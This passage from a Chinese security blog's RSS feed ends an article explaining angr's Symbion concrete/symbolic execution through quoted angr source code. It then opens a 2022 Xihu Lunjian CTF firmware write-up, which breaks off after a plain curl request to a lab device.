&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  除了内存和寄存器之外，对于一个state比较重要的就是输入输出环境变量等这些内容了，angr的做法是实现了一个posix插件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">        state.register_plugin(<span style="color: rgb(152, 195, 121);">&#39;posix&#39;</span>, SimSystemPosix(stdin=stdin, brk=actual_brk))</code></pre><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">class</span> <span style="color: rgb(230, 192, 123);">SimSystemPosix</span>(<span style="color: rgb(230, 192, 123);">SimStatePlugin</span>):<br/>    <span style="color: rgb(152, 195, 121);">&#34;&#34;&#34;<br/>    Data storage and interaction mechanisms for states with an environment conforming to posix.<br/>    Available as ``state.posix``.<br/>    &#34;&#34;&#34;</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">#__slots__ = [ &#39;maximum_symbolic_syscalls&#39;, &#39;files&#39;, &#39;max_length&#39; ]</span><br/>    <span style="color: rgb(92, 99, 112);font-style: italic;"># some posix constants</span><br/>    SIG_BLOCK=<span style="color: rgb(209, 154, 102);">0</span><br/>    SIG_UNBLOCK=<span style="color: rgb(209, 154, 102);">1</span><br/>    SIG_SETMASK=<span style="color: rgb(209, 154, 102);">2</span><br/>    EPERM      =     <span style="color: rgb(209, 154, 102);">1</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Operation not permitted */</span><br/>    ENOENT     =     <span style="color: rgb(209, 154, 102);">2</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No such file or directory */</span><br/>    ESRCH      =     <span style="color: rgb(209, 154, 102);">3</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No such process */</span><br/>    EINTR      =     <span style="color: rgb(209, 154, 102);">4</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Interrupted system call */</span><br/>    EIO        =     <span style="color: rgb(209, 154, 102);">5</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* I/O error */</span><br/>    ENXIO      =     <span style="color: rgb(209, 154, 102);">6</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No such device or address */</span><br/>    E2BIG      =     <span style="color: rgb(209, 154, 102);">7</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Argument list too long */</span><br/>    ENOEXEC    =     <span style="color: rgb(209, 154, 102);">8</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Exec format error */</span><br/>    EBADF      =     <span style="color: rgb(209, 154, 102);">9</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Bad file number */</span><br/>    ECHILD     =    <span style="color: rgb(209, 154, 102);">10</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No child processes */</span><br/>    EAGAIN     =    <span style="color: rgb(209, 154, 102);">11</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Try again */</span><br/>    ENOMEM     =    <span style="color: rgb(209, 154, 102);">12</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Out of memory */</span><br/>    EACCES     =    <span style="color: rgb(209, 154, 102);">13</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Permission denied */</span><br/>    EFAULT     =    <span style="color: rgb(209, 154, 102);">14</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Bad address */</span><br/>    ENOTBLK    =    <span style="color: rgb(209, 154, 102);">15</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Block device required */</span><br/>    EBUSY      =    <span style="color: rgb(209, 154, 102);">16</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Device or resource busy */</span><br/>    EEXIST     =    <span style="color: rgb(209, 154, 102);">17</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* File exists */</span><br/>    EXDEV      =    <span style="color: rgb(209, 154, 102);">18</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Cross-device link */</span><br/>    ENODEV     =    <span style="color: rgb(209, 154, 102);">19</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No such device */</span><br/>    ENOTDIR    =    <span style="color: rgb(209, 154, 102);">20</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Not a directory */</span><br/>    EISDIR     =    <span style="color: rgb(209, 154, 102);">21</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Is a directory */</span><br/>    EINVAL     =    <span style="color: rgb(209, 154, 102);">22</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Invalid argument */</span><br/>    ENFILE     =    <span style="color: rgb(209, 154, 102);">23</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* File table overflow */</span><br/>    EMFILE     =    <span style="color: rgb(209, 154, 102);">24</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Too many open files */</span><br/>    ENOTTY     =    <span style="color: rgb(209, 154, 102);">25</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Not a typewriter */</span><br/>    ETXTBSY    =    <span style="color: rgb(209, 154, 102);">26</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Text file busy */</span><br/>    EFBIG      =    <span style="color: rgb(209, 154, 102);">27</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* File too large */</span><br/>    ENOSPC     =    <span style="color: rgb(209, 154, 102);">28</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* No space left on device */</span><br/>    ESPIPE     =    <span style="color: rgb(209, 154, 102);">29</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Illegal seek */</span><br/>    EROFS      =    <span style="color: rgb(209, 154, 102);">30</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Read-only file system */</span><br/>    EMLINK     =    <span style="color: rgb(209, 154, 102);">31</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Too many links */</span><br/>    EPIPE      =    <span style="color: rgb(209, 154, 102);">32</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Broken pipe */</span><br/>    EDOM       =    <span style="color: rgb(209, 154, 102);">33</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Math argument out of domain of func */</span><br/>    ERANGE     =    <span style="color: rgb(209, 154, 102);">34</span> <span style="color: rgb(92, 99, 112);font-style: italic;"># /* Math result not representable */</span><br/>    <span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">__init__</span>(self,<br/>            stdin=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            stdout=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            stderr=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            fd=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            sockets=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            socket_queue=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            argv=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            argc=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            environ=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            auxv=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            tls_modules=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            sigmask=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            pid=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            ppid=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            uid=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            gid=<span style="color: rgb(86, 182, 194);">None</span>,<br/>            brk=<span style="color: rgb(86, 182, 194);">None</span>):<br/>        <span style="color: rgb(230, 192, 123);">super</span>().__init__()<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># some limits and constants</span><br/>        self.sigmask_bits = <span style="color: rgb(209, 154, 102);">1024</span><br/>        self.maximum_symbolic_syscalls = <span style="color: rgb(209, 154, 102);">255</span><br/>        self.max_length = <span style="color: rgb(209, 154, 102);">2</span> ** <span style="color: rgb(209, 154, 102);">16</span><br/>        self.argc = argc<br/>        self.argv = argv<br/>        self.environ = environ<br/>        self.auxv = auxv<br/>        self.tls_modules = tls_modules <span style="color: rgb(198, 120, 221);">if</span> tls_modules <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> {}<br/>        self.brk = brk <span style="color: rgb(198, 120, 221);">if</span> brk <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(209, 154, 102);">0x1b00000</span><br/>        self._sigmask = sigmask<br/>        self.pid = <span style="color: rgb(209, 154, 102);">1337</span> <span style="color: rgb(198, 120, 221);">if</span> pid <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> pid<br/>        self.ppid = <span style="color: rgb(209, 154, 102);">1336</span> <span style="color: rgb(198, 120, 221);">if</span> ppid <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> ppid<br/>        self.uid = <span style="color: rgb(209, 154, 102);">1000</span> <span style="color: rgb(198, 120, 221);">if</span> uid <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> uid<br/>        self.gid = <span style="color: rgb(209, 154, 102);">1000</span> <span style="color: rgb(198, 120, 221);">if</span> gid <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> gid<br/>        self.dev_fs = <span style="color: rgb(86, 182, 194);">None</span><br/>        self.proc_fs = <span style="color: rgb(86, 182, 194);">None</span><br/>        self.autotmp_counter = <span style="color: rgb(209, 154, 102);">0</span><br/>        self._closed_fds = []<br/>        self.sockets = sockets <span style="color: rgb(198, 120, 221);">if</span> sockets <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> {}<br/>        self.socket_queue = socket_queue <span style="color: rgb(198, 120, 221);">if</span> socket_queue <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(198, 120, 221);">not</span> <span style="color: rgb(86, 182, 194);">None</span> <span style="color: rgb(198, 120, 221);">else</span> []<br/>        <span style="color: rgb(198, 120, 221);">if</span> stdin <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            stdin = SimPacketsStream(<span style="color: rgb(152, 195, 121);">&#39;stdin&#39;</span>, write_mode=<span style="color: rgb(86, 182, 194);">False</span>, writable=<span style="color: rgb(86, 182, 194);">False</span>, ident=<span style="color: rgb(152, 195, 121);">&#39;stdin&#39;</span>)<br/>        <span style="color: rgb(198, 120, 221);">if</span> stdout <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            stdout = SimPacketsStream(<span style="color: rgb(152, 195, 121);">&#39;stdout&#39;</span>, write_mode=<span style="color: rgb(86, 182, 194);">True</span>, writable=<span style="color: rgb(86, 182, 194);">True</span>, ident=<span style="color: rgb(152, 195, 121);">&#39;stdout&#39;</span>)<br/>        <span style="color: rgb(198, 120, 221);">if</span> stderr <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            stderr = SimPacketsStream(<span style="color: rgb(152, 195, 121);">&#39;stderr&#39;</span>, write_mode=<span style="color: rgb(86, 182, 194);">True</span>, writable=<span style="color: rgb(86, 182, 194);">True</span>, ident=<span style="color: rgb(152, 195, 121);">&#39;stderr&#39;</span>)<br/>        <span style="color: rgb(198, 120, 221);">if</span> fd <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            fd = {}<br/>            tty = SimFileDescriptorDuplex(stdin, stdout)<br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># the initial fd layout just looks like this:</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># lrwx------ 1 audrey audrey 64 Jan 17 14:21 0 -&gt; /dev/pts/4</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># lrwx------ 1 audrey audrey 64 Jan 17 14:21 1 -&gt; /dev/pts/4</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># lrwx------ 1 audrey audrey 64 Jan 17 14:21 2 -&gt; /dev/pts/4</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># but we want to distinguish the streams. we compromise by having 0 and 1 go to the &#34;tty&#34;</span><br/>            <span style="color: rgb(92, 99, 112);font-style: italic;"># and stderr goes to a special stderr file</span><br/>            fd[<span style="color: rgb(209, 154, 102);">0</span>] = tty<br/>            fd[<span style="color: rgb(209, 154, 102);">1</span>] = tty<br/>            fd[<span style="color: rgb(209, 154, 102);">2</span>] = SimFileDescriptor(stderr, <span style="color: rgb(209, 154, 102);">0</span>)<br/>        self.fd = fd<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># these are the storage mechanisms!</span><br/>        self.stdin = stdin<br/>        self.stdout = stdout<br/>        self.stderr = stderr</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中SimPacketsStream是基于SimFileBase实现的一个抽象结构（类似linux的fd），用来实现标准输入输出等的读写操作。接下来将一些默认值写入到新的State里面，比如sp，以及将ip寄存机设置到入口点等最后一个抽象环境就创建完成了，接下来就是分配栈空间：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> self._is_core <span style="color: rgb(198, 120, 221);">and</span> <span style="color: rgb(230, 192, 123);">hasattr</span>(state.memory, <span style="color: rgb(152, 195, 121);">&#39;allocate_stack_pages&#39;</span>):<br/>            state.memory.allocate_stack_pages(state.solver.<span style="color: rgb(230, 192, 123);">eval</span>(state.regs.sp) - <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(209, 154, 102);">0x20</span> * <span style="color: rgb(209, 154, 102);">0x1000</span>)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">为state注册文件系统：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">        state.register_plugin(<span style="color: rgb(152, 195, 121);">&#39;fs&#39;</span>, SimFilesystem(files=fs, pathsep=pathsep, cwd=cwd, mountpoints=mounts))</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这个文件系统也非常抽象，基本就是实现了挂载映射和对于文件的简单存储。然后就进入对抽象state的信息填充环节，args设置，env设置，argc设置等：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">        filename = self.project.filename <span style="color: rgb(198, 120, 221);">or</span> <span style="color: rgb(152, 195, 121);">&#39;dummy_filename&#39;</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> args <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            args = [filename]<br/>        <span style="color: rgb(198, 120, 221);">if</span> env <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            env = {}<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;"># Prepare argc</span><br/>        <span style="color: rgb(198, 120, 221);">if</span> argc <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(86, 182, 194);">None</span>:<br/>            argc = claripy.BVV(<span style="color: rgb(230, 192, 123);">len</span>(args), <span style="color: rgb(209, 154, 102);">32</span>)<br/>        <span style="color: rgb(198, 120, 221);">elif</span> <span style="color: rgb(230, 192, 123);">type</span>(argc) <span style="color: rgb(198, 120, 221);">is</span> <span style="color: rgb(230, 192, 123);">int</span>:  <span style="color: rgb(92, 99, 112);font-style: italic;"># pylint: disable=unidiomatic-typecheck</span><br/>            argc = claripy.BVV(argc, <span style="color: rgb(209, 154, 102);">32</span>)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">并使用StringTableSpec（这就是一个用来存储字符串的结构）来对这些信息进行存储，不过在添加字符串的时候会使用基于claripy.BVV等的变量。并在state里面设置env指针等信息来初始化执行环境。其它的entry_state应该就是基于最原始的抽象环境对一些内容填充（不过这块我没调试，有兴趣可以调试看看）。<span style="letter-spacing: 0.1em;">因此综上所述，symbion的特点就是实现了抽象环境和具体执行环境之间的动态切换，来帮助缓解漏洞挖掘或者程序分析过程中对于模拟环境和模拟执行数据的依赖，其总结就分为三个步骤：</span></p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 初始化具体执行环境，比如gdbserver提供的远程环境，而且一般在程序刚开始执行的时候一般初始化entry point。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 当程序执行到需要进行符号执行的时候将寄存器和内存信息同步到符号执行引擎，对state进行恢复。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 当符号执行引擎到达目标位置的时候收集变量约束信息进行约束求解，然后赋值给具体化环境，进而让具体化环境也达到相同的位置。</p></li></ol><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8854415274463007" data-s="300,640" style="" data-type="png" data-w="838" src="https://wechat2rss.xlab.app/img-proxy/?k=ede32d74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQTkm2c8CSzQpriaicNZH09DVyQItiaKZyHJAbjjR0By8dOr4mEGQUZguIMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8709677419354839" data-s="300,640" style="" data-type="png" data-w="806" src="https://wechat2rss.xlab.app/img-proxy/?k=00e88fb4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZpGOgeJQicThickxpGIS4wQT5lMLZkLcI4PnoDIhCPEaKVTTJqOicxibtkicdlmVFjJR7zx1PTOiaZRBibQ%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">如果有什么偏差，还望指正。</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><br/></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485993">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=11a51f3c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485993%26idx%3D1%26sn%3D4a51741b90bbf107c5892bdd4e5e833b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 17 Aug 2023 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>2022西湖论剑线下赛部分题解</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485983&amp;idx=1&amp;sn=7ed8805fe17db2c54f98261539845956</link>
      <description>2022西湖论剑线下部分个人觉得有比较意思的题目复现: )</description>
      <content:encoded><![CDATA[<p>
原创 <span>邛笼石影</span> <span>2023-07-03 14:39</span> <span style="display: inline-block;">北京</span>
</p>

<p>2022西湖论剑线下部分个人觉得有比较意思的题目复现: )</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=003656fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhNCro8wz6q7Q6b2NwwXfFbPOcyvWWo7QlaibDLboxZczE3icBPgaMAvSQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">2022西湖论剑线下赛部分题解</h1><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  <strong style="line-height: 1.75;color: rgb(255, 118, 118);">2022西湖论剑线下部分个人觉得有比较意思的题目复现: )</strong></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">固件1</h1><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">xhttp</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  尝试直接访问index.html或者cgi只会收到400错误，说明发送的请求格式有问题。所以本来打算直接调试，但是由于gdb似乎对mips16到mips32切换支持的不是很好，很难调试。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">$ curl -v <a href="http://192.168.1.1:8080/index.html   " target="_blank">http://192.168.1.1:8080/index.html   </a><br/>*   Trying 192.168.1.1...<br/>* TCP_NODELAY <span style="color: rgb(230, 192, 123);">set</span><br/>* Connected to 192.168.1.1 (192.168.1.1) port 8080 (<span style="color: rgb(92, 99, 112);font-style: italic;">#0)</span><br/>&gt; GET /index.html HTTP/1.1<br/>&gt; Host: 192.168.1.1:8080<br/>&gt; User-Agent: curl/7.58.0<br/>&gt; Accept: */*<br/>&gt; <br/>&lt; HTTP/1.1 400 Bad Request<br/>&lt; Date: Sat, 03 Dec 2022 09:22:41 GMT<br/>&lt; Server: Boa/0.94.14rc21<br/>&lt; Accept-Ranges: bytes<br/>&lt; Connection: close<br/>&lt; Content-Type: text/html; charset=ISO-8859-1<br/>&lt; <br/>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;400 Bad Request&lt;/TITLE&gt;&lt;/HEAD&gt;<br/>&lt;BODY&gt;&lt;H1&gt;400 Bad Request&lt;/H1&gt;<br/>Your client has issued a malformed or illegal request.<br/>&lt;/BODY&gt;&lt;/HTML&gt;<br/>* Closing connection 0</code></pre><p style="font-size: 